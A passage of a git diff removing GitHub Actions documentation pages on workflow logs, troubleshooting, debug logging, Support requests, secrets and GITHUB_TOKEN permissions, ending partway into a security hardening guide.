variables.product.prodname_cli %} returns an interactive menu for you to choose a recent run, and then returns another interactive menu for you to choose a job from the run. - -```shell -gh run view RUN_ID --log -``` - -You can also use the `--job` flag to specify a job ID. Replace `job-id` with the ID of the job that you want to view logs for. - -```shell -gh run view --job JOB_ID --log -``` - -You can use `grep` to search the log. For example, this command will return all log entries that contain the word `error`. - -```shell -gh run view --job JOB_ID --log | grep error -``` - -To filter the logs for any failed steps, use `--log-failed` instead of `--log`. - -```shell -gh run view --job JOB_ID --log-failed -``` diff --git a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/viewing-job-execution-time.md b/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/viewing-job-execution-time.md deleted file mode 100644 index 5a014f1ce99c..000000000000 --- a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/viewing-job-execution-time.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Viewing job execution time -shortTitle: View job execution time -intro: 'You can view the execution time of a job, including the billable minutes that a job accrued.' -redirect_from: - - /actions/managing-workflow-runs/viewing-job-execution-time - - /actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time -versions: - fpt: '*' - ghec: '*' ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -Billable job execution minutes are only shown for jobs run on private repositories that use {% data variables.product.prodname_dotcom %}-hosted runners and are rounded up to the next minute. There are no billable minutes when using {% data variables.product.prodname_actions %} in public repositories or for jobs run on self-hosted runners. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.navigate-to-workflow %} -{% data reusables.repositories.view-run %} -1. Under the job summary, you can view the job's execution time. -1. To view details about the billable job execution time, in the left sidebar under "Run details", click **{% octicon "stopwatch" aria-hidden="true" %} Usage**. - - > [!NOTE] - > The billable time shown does not include any minute multipliers. To view your total {% data variables.product.prodname_actions %} usage, including minute multipliers, see [AUTOTITLE](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage). diff --git a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/viewing-workflow-run-history.md b/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/viewing-workflow-run-history.md deleted file mode 100644 index cd0816eeb429..000000000000 --- a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/viewing-workflow-run-history.md +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Viewing workflow run history -shortTitle: Workflow run history -intro: You can view logs for each run of a workflow. Logs include the status for each job and step in a workflow. -redirect_from: - - /actions/managing-workflow-runs/viewing-workflow-run-history - - /actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -{% data reusables.repositories.permissions-statement-read %} - -{% webui %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.navigate-to-workflow %} -{% data reusables.repositories.view-run %} - -{% endwebui %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -## Viewing recent workflow runs - -To list the recent workflow runs, use the `run list` subcommand. - -```shell -gh run list -``` - -To specify the maximum number of runs to return, you can use the `-L` or `--limit` flag . The default is `10`. - -```shell -gh run list --limit 5 -``` - -To only return runs for the specified workflow, you can use the `-w` or `--workflow` flag. Replace `workflow` with either the workflow name, workflow ID, or workflow file name. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. - -```shell -gh run list --workflow WORKFLOW -``` - -## Viewing details for a specific workflow run - -To display details for a specific workflow run, use the `run view` subcommand. Replace `run-id` with the ID of the run that you want to view. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent run. - -```shell -gh run view RUN_ID -``` - -To include job steps in the output, use the `-v` or `--verbose` flag. - -```shell -gh run view RUN_ID --verbose -``` - -To view details for a specific job in the run, use the `-j` or `--job` flag. Replace `job-id` with the ID of the job that you want to view. - -```shell -gh run view --job JOB_ID -``` - -To view the full log for a job, use the `--log` flag. - -```shell -gh run view --job JOB_ID --log -``` - -Use the `--exit-status` flag to exit with a non-zero status if the run failed. For example: - -```shell -gh run view 0451 --exit-status && echo "run pending or passed" -``` - -{% endcli %} diff --git a/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/about-troubleshooting-workflows.md b/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/about-troubleshooting-workflows.md deleted file mode 100644 index 0d62a9171d20..000000000000 --- a/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/about-troubleshooting-workflows.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: About troubleshooting workflows -intro: 'You can use the tools in {% data variables.product.prodname_actions %} to debug your workflows.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: About troubleshooting ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Troubleshooting your workflows - -There are several ways you can troubleshoot failed workflow runs. - -{% ifversion copilot %} - -### Using {% data variables.product.prodname_copilot %} - -If a workflow run fails, you can open a chat with {% data variables.product.prodname_copilot %} for assistance resolving the error. See [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/using-copilot-to-troubleshoot-workflows). - -{% endif %} - -### Using workflow run logs - -Each workflow run generates activity logs that you can view, search, and download. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs). - -### Enabling debug logging - -If the workflow logs do not provide enough detail to diagnose why a workflow, job, or step is not working as expected, you can enable additional debug logging. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging). - -### Canceling a workflow - -If you attempt to cancel a workflow and the cancellation doesn't succeed, make sure you aren't using the `always` expression. The `always` expression causes a workflow step to run even when the workflow is canceled, which results in a hanging cancellation. For more information, see [AUTOTITLE](/actions/learn-github-actions/expressions#always). - -{% ifversion actions-metrics %} - -## Troubleshooting {% data variables.product.prodname_actions %} inefficiencies - -To analyze the inefficiencies and reliability of your workflows using metrics, see [AUTOTITLE](/actions/administering-github-actions/viewing-github-actions-metrics). -{% endif %} - -## Troubleshooting self-hosted runners - -If you use self-hosted runners, you can view their activity and diagnose common issues. - -For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners). diff --git a/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/enabling-debug-logging.md b/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/enabling-debug-logging.md deleted file mode 100644 index 955a4ade7ed9..000000000000 --- a/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/enabling-debug-logging.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Enabling debug logging -shortTitle: Enable debug logging -intro: 'If the workflow logs do not provide enough detail to diagnose why a workflow, job, or step is not working as expected, you can enable additional debug logging.' -redirect_from: - - /actions/managing-workflow-runs/enabling-debug-logging - - /actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -These extra logs are enabled by setting secrets or variables in the repository containing the workflow, so the same permissions requirements will apply: - -* {% data reusables.actions.permissions-statement-secrets-variables-repository %} -* {% data reusables.actions.permissions-statement-secrets-environment %} -* {% data reusables.actions.permissions-statement-secrets-and-variables-organization %} - -For more information on setting secrets and variables, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions) and [AUTOTITLE](/actions/learn-github-actions/variables). - -Additionally, anyone who has access to run a workflow can enable runner diagnostic logging and step debug logging for a workflow re-run. For more information, see [AUTOTITLE](/actions/managing-workflow-runs/re-running-workflows-and-jobs). - -## Enabling runner diagnostic logging - -Runner diagnostic logging provides additional log files that contain information about how a runner is executing a job. Two extra log files are added to the log archive: - -* The runner process log, which includes information about coordinating and setting up runners to execute jobs. -* The worker process log, which logs the execution of a job. - -1. To enable runner diagnostic logging, set the following secret or variable in the repository that contains the workflow: `ACTIONS_RUNNER_DEBUG` to `true`. If both the secret and variable are set, the value of the secret takes precedence over the variable. -1. To download runner diagnostic logs, download the log archive of the workflow run. The runner diagnostic logs are contained in the `runner-diagnostic-logs` folder. For more information on downloading logs, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#downloading-logs). - -## Enabling step debug logging - -Step debug logging increases the verbosity of a job's logs during and after a job's execution. - -1. To enable step debug logging, set the following secret or variable in the repository that contains the workflow: `ACTIONS_STEP_DEBUG` to `true`. If both the secret and variable are set, the value of the secret takes precedence over the variable. -1. After setting the secret or variable, more debug events are shown in the step logs. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures). diff --git a/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/index.md b/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/index.md deleted file mode 100644 index c23957ba278d..000000000000 --- a/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Troubleshooting workflows -shortTitle: Troubleshoot -intro: 'You can troubleshoot {% data variables.product.prodname_actions %} workflows by using tools like debug logging.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /about-troubleshooting-workflows - - /using-copilot-to-troubleshoot-workflows - - /enabling-debug-logging - - /working-with-support-for-github-actions ---- diff --git a/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/using-copilot-to-troubleshoot-workflows.md b/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/using-copilot-to-troubleshoot-workflows.md deleted file mode 100644 index 09b606cea244..000000000000 --- a/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/using-copilot-to-troubleshoot-workflows.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Using Copilot to troubleshoot workflows -intro: 'You can use {% data variables.product.prodname_copilot %} to help resolve failed workflow runs.' -versions: - feature: copilot -shortTitle: Use Copilot -permissions: This feature is available for users on all {% data variables.product.prodname_copilot %} subscription tiers. ---- - -If a workflow run fails, you can open a chat with {% data variables.product.prodname_copilot %} for assistance resolving the error. - -To open a chat about a failed workflow run, you can either: - -* Next to the failed check in the merge box, click **{% octicon "kebab-horizontal" aria-hidden="true" %}**, then click **{% octicon "copilot" aria-hidden="true" %} Explain error**. -* In the merge box, click on the failed check. At the top of the workflow run summary page, click **{% octicon "copilot" aria-hidden="true" %} Explain error**. - -This opens a chat window with {% data variables.product.prodname_copilot %}, where it will provide instructions to resolve the issue. - ->[!NOTE] If you are on a {% data variables.product.prodname_copilot_free %} subscription, this will count towards your monthly chat message limit. diff --git a/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/working-with-support-for-github-actions.md b/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/working-with-support-for-github-actions.md deleted file mode 100644 index 57abb05f68b9..000000000000 --- a/content/actions/monitoring-and-troubleshooting-workflows/troubleshooting-workflows/working-with-support-for-github-actions.md +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Working with Support for GitHub Actions -intro: 'Learn how {% data variables.contact.github_support %} can assist with {% data variables.product.prodname_actions %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: reference -topics: - - Actions - - Support -shortTitle: 'Working with {% data variables.contact.github_support %}' -redirect_from: - - /actions/monitoring-and-troubleshooting-workflows/working-with-support-for-github-actions ---- - -You can [contact {% data variables.contact.github_support %}](/support/contacting-github-support) for assistance with {% data variables.product.prodname_actions %}. - -## Providing diagnostic and troubleshooting information - -The contents of private and internal repositories are not visible to {% data variables.contact.github_support %}, so {% data variables.contact.github_support %} may request additional information to understand the complete context of your inquiry and reproduce any unexpected behavior. You can accelerate the resolution of your inquiry by providing this information when you initially raise a ticket with {% data variables.contact.github_support %}. - -Some information that {% data variables.contact.github_support %} will request can include, but is not limited to, the following: - -* The URL of the workflow run. - - {% ifversion ghes %} - For example: `https://DOMAIN/ORG/REPO/actions/runs/0123456789` - {% else %} - For example: `https://github.com/ORG/REPO/actions/runs/0123456789` - {% endif %} - -* The workflow `.yml` file(s) attached to the ticket as `.txt` files. For more information about workflows, see [AUTOTITLE](/actions/using-workflows/about-workflows#about-workflows). -* A copy of your workflow run logs for an example workflow run failure. For more information about workflow run logs, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#downloading-logs). -* {% ifversion ghes %}A copy of your runner logs, {% else %}If you are running this workflow on a self-hosted runner, self-hosted runner logs{% endif %} which can be found under the `_diag` folder within the runner. For more information about self-hosted runners, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners#reviewing-the-self-hosted-runner-application-log-files). - - Self-hosted runner log file names are be formatted: `Runner_YYYY####-xxxxxx-utc.log` and `Worker_YYYY####-xxxxxx-utc.log`. - -> [!NOTE] -> Attach files to your support ticket by changing the file's extension to `.txt` or `.zip`. If you include textual data such as log or workflow file snippets inline in your ticket, ensure they are formatted correctly as Markdown code blocks. For more information about proper Markdown formatting, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#quoting-code). -> -> If the information you provide is unreadable due to the loss of formatting by improper Markdown syntax, {% data variables.contact.github_support %} may request that resubmit the information either as an attachment or with the correct Markdown formatting. - -> [!WARNING] -> Ensure all files and text provided to {% data variables.contact.github_support %} have been properly redacted to remove sensitive information such as tokens and other secrets. - -{% ifversion ghes %} -Depending on the nature of your inquiry, {% data variables.contact.github_support %} may also request that you generate and upload a support bundle for further review and analysis. For more information about providing data to {% data variables.contact.github_support %} and support bundles, see [AUTOTITLE](/support/contacting-github-support/providing-data-to-github-support). -{% endif %} - -### Ephemeral Runner Application Log Files - -{% data variables.contact.github_support %} may request the runner application log files from ephemeral runners. {% data variables.product.prodname_dotcom %} expects and recommends that you have implemented a mechanism to forward and preserve the runner application log files from self-hosted ephemeral runners. For more information about runner application log files and troubleshooting self-hosted runners, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners#reviewing-the-self-hosted-runner-application-log-files). - -### {% data variables.product.prodname_actions_runner_controller %} - -If you are using {% data variables.product.prodname_actions_runner_controller %} (ARC), {% data variables.contact.github_support %} may ask you to submit the complete logs for the controller, listeners, and runner pods. For more information about collecting {% data variables.product.prodname_actions_runner_controller %}'s logs, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/troubleshooting-actions-runner-controller-errors#checking-the-logs-of-the-controller-and-runner-set-listener). - -For more information about the scope of support for {% data variables.product.prodname_actions_runner_controller %}, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-support-for-actions-runner-controller). - -### {% data variables.product.prodname_codeql %} and {% data variables.product.prodname_actions %} - -If you are requesting assistance with a {% data variables.code-scanning.codeql_workflow %}, {% data variables.contact.github_support %} may request a copy of the {% data variables.product.prodname_codeql %} debugging artifacts. For more information about debugging artifacts for a {% data variables.code-scanning.codeql_workflow %}, see [AUTOTITLE](/code-security/code-scanning/troubleshooting-code-scanning/logs-not-detailed-enough#creating-codeql-debugging-artifacts). - -To provide the debugging artifacts to {% data variables.contact.github_support %}, please download the {% data variables.product.prodname_codeql %} debugging artifacts from a sample workflow run and attach it to your ticket as a `.zip` file. For more information on downloading workflow artifacts, see [AUTOTITLE](/actions/managing-workflow-runs/downloading-workflow-artifacts). - -If the {% data variables.product.prodname_codeql %} debugging artifacts `.zip` file is too large to upload to the ticket, please advise {% data variables.contact.github_support %}, and we will work with you to determine the next steps. - -## Scope of support - -{% data reusables.support.scope-of-support %} diff --git a/content/actions/security-for-github-actions/index.md b/content/actions/security-for-github-actions/index.md deleted file mode 100644 index 05ce0005e6b2..000000000000 --- a/content/actions/security-for-github-actions/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Security for GitHub Actions -shortTitle: Security -intro: 'Use security best practices with {% data variables.product.prodname_actions %}, and use {% data variables.product.prodname_actions %} to improve the security of your software supply chain.' -redirect_from: - - /actions/security-guides -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /security-guides - - /using-artifact-attestations - - /security-hardening-your-deployments ---- \ No newline at end of file diff --git a/content/actions/security-for-github-actions/security-guides/about-secrets.md b/content/actions/security-for-github-actions/security-guides/about-secrets.md deleted file mode 100644 index cd3939f65743..000000000000 --- a/content/actions/security-for-github-actions/security-guides/about-secrets.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: About secrets -intro: 'Learn about secrets as they''re used in GitHub Actions.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About secrets - -Secrets allow you to store sensitive information in your organization, repository, or repository environments. Secrets are variables that you create to use in {% data variables.product.prodname_actions %} workflows in an organization, repository, or repository environment. - -{% data variables.product.prodname_actions %} can only read a secret if you explicitly include the secret in a workflow. - -## Naming your secrets - ->[!TIP] -> To help ensure that {% data variables.product.prodname_dotcom %} redacts your secrets in logs correctly, avoid using structured data as the values of secrets. - -The following rules apply to secret names: - -{% data reusables.actions.actions-secrets-and-variables-naming %} - -{% data reusables.codespaces.secret-precedence %} Similarly, if an organization, repository, and environment all have a secret with the same name, the environment-level secret takes precedence. - -## Using your secrets in workflows - -{% data reusables.actions.secrets-redaction-warning %} - -{% data reusables.actions.secrets-org-level-overview %} - -For environment secrets, you can enable required reviewers to control access to the secrets. A workflow job cannot access environment secrets until approval is granted by required approvers. - -To make a secret available to an action, you must set the secret as an input or environment variable in your workflow file. Review the action's README file to learn about which inputs and environment variables the action expects. See [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsenv). - -Organization and repository secrets are read when a workflow run is queued, and environment secrets are read when a job referencing the environment starts. - -## Limiting credential permissions - -When generating credentials, we recommend that you grant the minimum permissions possible. For example, instead of using personal credentials, use [deploy keys](/authentication/connecting-to-github-with-ssh/managing-deploy-keys#deploy-keys) or a service account. Consider granting read-only permissions if that's all that is needed, and limit access as much as possible. - -When generating a {% data variables.product.pat_v1 %}, select the fewest scopes necessary. When generating a {% data variables.product.pat_v2 %}, select the minimum permissions and repository access required. - -Instead of using a {% data variables.product.pat_generic %}, consider using a {% data variables.product.prodname_github_app %}, which uses fine-grained permissions and short lived tokens, similar to a {% data variables.product.pat_v2 %}. Unlike a {% data variables.product.pat_generic %}, a {% data variables.product.prodname_github_app %} is not tied to a user, so the workflow will continue to work even if the user who installed the app leaves your organization. For more information, see [AUTOTITLE](/apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow). - -## Further reading - -* [AUTOTITLE](/actions/security-for-github-actions/security-guides/using-secrets-in-github-actions) -* [AUTOTITLE](/rest/actions/secrets) diff --git a/content/actions/security-for-github-actions/security-guides/automatic-token-authentication.md b/content/actions/security-for-github-actions/security-guides/automatic-token-authentication.md deleted file mode 100644 index 1606f65fae74..000000000000 --- a/content/actions/security-for-github-actions/security-guides/automatic-token-authentication.md +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: Automatic token authentication -intro: '{% data variables.product.prodname_dotcom %} provides a token that you can use to authenticate on behalf of {% data variables.product.prodname_actions %}.' -redirect_from: - - /github/automating-your-workflow-with-github-actions/authenticating-with-the-github_token - - /actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token - - /actions/configuring-and-managing-workflows/authenticating-with-the-github_token - - /actions/reference/authentication-in-a-workflow - - /actions/security-guides/automatic-token-authentication -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Automatic token authentication ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About the `GITHUB_TOKEN` secret - -At the start of each workflow job, {% data variables.product.prodname_dotcom %} automatically creates a unique `GITHUB_TOKEN` secret to use in your workflow. You can use the `GITHUB_TOKEN` to authenticate in the workflow job. - -When you enable {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dotcom %} installs a {% data variables.product.prodname_github_app %} on your repository. The `GITHUB_TOKEN` secret is a {% data variables.product.prodname_github_app %} installation access token. You can use the installation access token to authenticate on behalf of the {% data variables.product.prodname_github_app %} installed on your repository. The token's permissions are limited to the repository that contains your workflow. For more information, see [Permissions for the `GITHUB_TOKEN`](#permissions-for-the-github_token). - -Before each job begins, {% data variables.product.prodname_dotcom %} fetches an installation access token for the job. {% data reusables.actions.github-token-expiration %} - -The token is also available in the `github.token` context. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#github-context). - -## Using the `GITHUB_TOKEN` in a workflow - -You can use the `GITHUB_TOKEN` by using the standard syntax for referencing secrets: {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}. Examples of using the `GITHUB_TOKEN` include passing the token as an input to an action, or using it to make an authenticated {% data variables.product.github %} API request. - -> [!IMPORTANT] -> An action can access the `GITHUB_TOKEN` through the `github.token` context even if the workflow does not explicitly pass the `GITHUB_TOKEN` to the action. As a good security practice, you should always make sure that actions only have the minimum access they require by limiting the permissions granted to the `GITHUB_TOKEN`. For more information, see [Permissions for the `GITHUB_TOKEN`](#permissions-for-the-github_token). - -{% data reusables.actions.actions-do-not-trigger-workflows %} - -{% data reusables.actions.actions-do-not-trigger-pages-rebuilds %} - -### Example 1: passing the `GITHUB_TOKEN` as an input - -{% data reusables.actions.github_token-input-example %} - -### Example 2: calling the REST API - -You can use the `GITHUB_TOKEN` to make authenticated API calls. This example workflow creates an issue using the {% data variables.product.prodname_dotcom %} REST API: - -```yaml -name: Create issue on commit - -on: [ push ] - -jobs: - create_issue: - runs-on: ubuntu-latest - permissions: - issues: write - steps: - - name: Create issue using REST API - run: | - curl --request POST \ - --url {% data variables.product.rest_url %}/repos/${% raw %}{{ github.repository }}{% endraw %}/issues \ - --header 'authorization: Bearer ${% raw %}{{ secrets.GITHUB_TOKEN }}{% endraw %}' \ - --header 'content-type: application/json' \ - --data '{ - "title": "Automated issue for commit: ${% raw %}{{ github.sha }}{% endraw %}", - "body": "This issue was automatically created by the GitHub Action workflow **${% raw %}{{ github.workflow }}{% endraw %}**. \n\n The commit hash was: _${% raw %}{{ github.sha }}{% endraw %}_." - }' \ - --fail -``` - -## Permissions for the `GITHUB_TOKEN` - -For information about the API endpoints {% data variables.product.prodname_github_apps %} can access with each permission, see [AUTOTITLE](/rest/overview/permissions-required-for-github-apps). - -The following table shows the permissions granted to the `GITHUB_TOKEN` by default. People with admin permissions to an {% ifversion not ghes %}enterprise, organization, or repository,{% else %}organization or repository{% endif %} can set the default permissions to be either permissive or restricted. For information on how to set the default permissions for the `GITHUB_TOKEN` for your enterprise, organization, or repository, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-workflow-permissions-in-your-enterprise), [AUTOTITLE](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#setting-the-permissions-of-the-github_token-for-your-organization), or [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#setting-the-permissions-of-the-github_token-for-your-repository). - -{% rowheaders %} - -| Scope | Default access<br>(permissive) | Default access<br>(restricted) | Maximum access for<br>pull requests from<br>public forked repositories | -|---------------|-----------------------------|-----------------------------|--------------------------------| -| actions | read/write | none | read | -| {% ifversion artifact-attestations %} | -| attestations | read/write | none | read | -| {% endif %} | -| checks | read/write | none | read | -| contents | read/write | read | read | -| deployments | read/write | none | read | -| discussions | read/write | none | read | -| {% ifversion fpt or ghec %} | -| id-token | none | none | none | -| {% endif %} | -| issues | read/write | none | read | -| metadata | read | read | read | -| packages | read/write | read | read | -| pages | read/write | none | read | -| pull-requests | read/write | none | read | -| repository-projects | read/write | none | read | -| security-events | read/write | none | read | -| statuses | read/write | none | read | - -{% endrowheaders %} - -> [!NOTE] -> * When a workflow is triggered by the [`pull_request_target`](/actions/using-workflows/events-that-trigger-workflows#pull_request_target) event, the `GITHUB_TOKEN` is granted read/write repository permission, even when it is triggered from a public fork. For more information, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#pull_request_target). -> * Private repositories can control whether pull requests from forks can run workflows, and can configure the permissions assigned to `GITHUB_TOKEN`. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-forks-of-private-repositories). -> * {% data reusables.actions.workflow-runs-dependabot-note %} - -### Modifying the permissions for the `GITHUB_TOKEN` - -You can modify the permissions for the `GITHUB_TOKEN` in individual workflow files. If the default permissions for the `GITHUB_TOKEN` are restrictive, you may have to elevate the permissions to allow some actions and commands to run successfully. If the default permissions are permissive, you can edit the workflow file to remove some permissions from the `GITHUB_TOKEN`. As a good security practice, you should grant the `GITHUB_TOKEN` the least required access. - -You can see the permissions that `GITHUB_TOKEN` had for a specific job in the "Set up job" section of the workflow run log. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs). - -You can use the `permissions` key in your workflow file to modify permissions for the `GITHUB_TOKEN` for an entire workflow or for individual jobs. This allows you to configure the minimum required permissions for a workflow or job. - -{% data reusables.actions.forked-write-permission %} - -The two workflow examples earlier in this article show the `permissions` key being used at the job level, as it is best practice to limit the permissions' scope. - -For full details of the `permissions` key, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#permissions). - -> [!NOTE] -> Organization{% ifversion not fpt %} and enterprise{% endif %} owners can prevent you from granting write access to the `GITHUB_TOKEN` at the repository level. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#setting-the-permissions-of-the-github_token-for-your-organization){% ifversion not fpt %} and [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-workflow-permissions-in-your-enterprise).{% else %}.{% endif %} -> -> When the `permissions` key is used, all unspecified permissions are set to no access, with the exception of the `metadata` scope, which always gets read access. - -#### How the permissions are calculated for a workflow job - -The permissions for the `GITHUB_TOKEN` are initially set to the default setting for the enterprise, organization, or repository. If the default is set to the restricted permissions at any of these levels then this will apply to the relevant repositories. For example, if you choose the restricted default at the organization level then all repositories in that organization will use the restricted permissions as the default. The permissions are then adjusted based on any configuration within the workflow file, first at the workflow level and then at the job level. Finally, if the workflow was triggered by a pull request from a forked repository, and the **Send write tokens to workflows from pull requests** setting is not selected, the permissions are adjusted to change any write permissions to read only. - -### Granting additional permissions - -If you need a token that requires permissions that aren't available in the `GITHUB_TOKEN`, you can create a {% data variables.product.prodname_github_app %} and generate an installation access token within your workflow. For more information, see [AUTOTITLE](/apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow). Alternatively, you can create a {% data variables.product.pat_generic %}, store it as a secret in your repository, and use the token in your workflow with the {% raw %}`${{ secrets.SECRET_NAME }}`{% endraw %} syntax. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token) and [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -### Further reading - -* [AUTOTITLE](/rest/overview/rate-limits-for-the-rest-api) diff --git a/content/actions/security-for-github-actions/security-guides/index.md b/content/actions/security-for-github-actions/security-guides/index.md deleted file mode 100644 index 5be228d4dbdf..000000000000 --- a/content/actions/security-for-github-actions/security-guides/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Security guides -shortTitle: Security guides -intro: 'Security hardening and good practices for {% data variables.product.prodname_actions %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /security-hardening-for-github-actions - - /about-secrets - - /using-secrets-in-github-actions - - /automatic-token-authentication - - /using-githubs-security-features-to-secure-your-use-of-github-actions ---- - diff --git a/content/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions.md b/content/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions.md deleted file mode 100644 index 38e1d626e274..000000000000 --- a/content/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions.md +++ /dev/null @@ -1,398 +0,0 @@ ---- -title: Security hardening for GitHub Actions -shortTitle: Security hardening -intro: 'Good security practices for using {% data variables.product.prodname_actions %} features.' -redirect_from: - - /actions/getting-started-with-github-actions/security-hardening-for-github-actions - - /actions/learn-github-actions/security-hardening-for-github-actions - - /actions/security-guides/security-hardening-for-github-actions -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Security ---- - -## Overview - -This guide explains how to configure security hardening for certain {% data variables.product.prodname_actions %} features. If the {% data variables.product.prodname_actions %} concepts are unfamiliar, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions). - -## Using secrets - -Sensitive values should never be stored as plaintext in workflow files, but rather as secrets. [Secrets](/actions/security-guides/using-secrets-in-github-actions) can be configured at the organization, repository, or environment level, and allow you to store sensitive information in {% data variables.product.github %}. - -{% ifversion fpt or ghec %} -Secrets use [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes), so that they are encrypted before reaching {% data variables.product.github %}. This occurs when the secret is submitted [using the UI](/actions/security-guides/using-secrets-in-github-actions#creating-secrets-for-a-repository) or through the [REST API](/rest/actions/secrets). This client-side encryption helps minimize the risks related to accidental logging (for example, exception logs and request logs, among others) within {% data variables.product.github %}'s infrastructure. Once the secret is uploaded, {% data variables.product.github %} is then able to decrypt it so that it can be injected into the workflow runtime. -{% endif %} - -To help prevent accidental disclosure, {% data variables.product.github %} uses a mechanism that attempts to 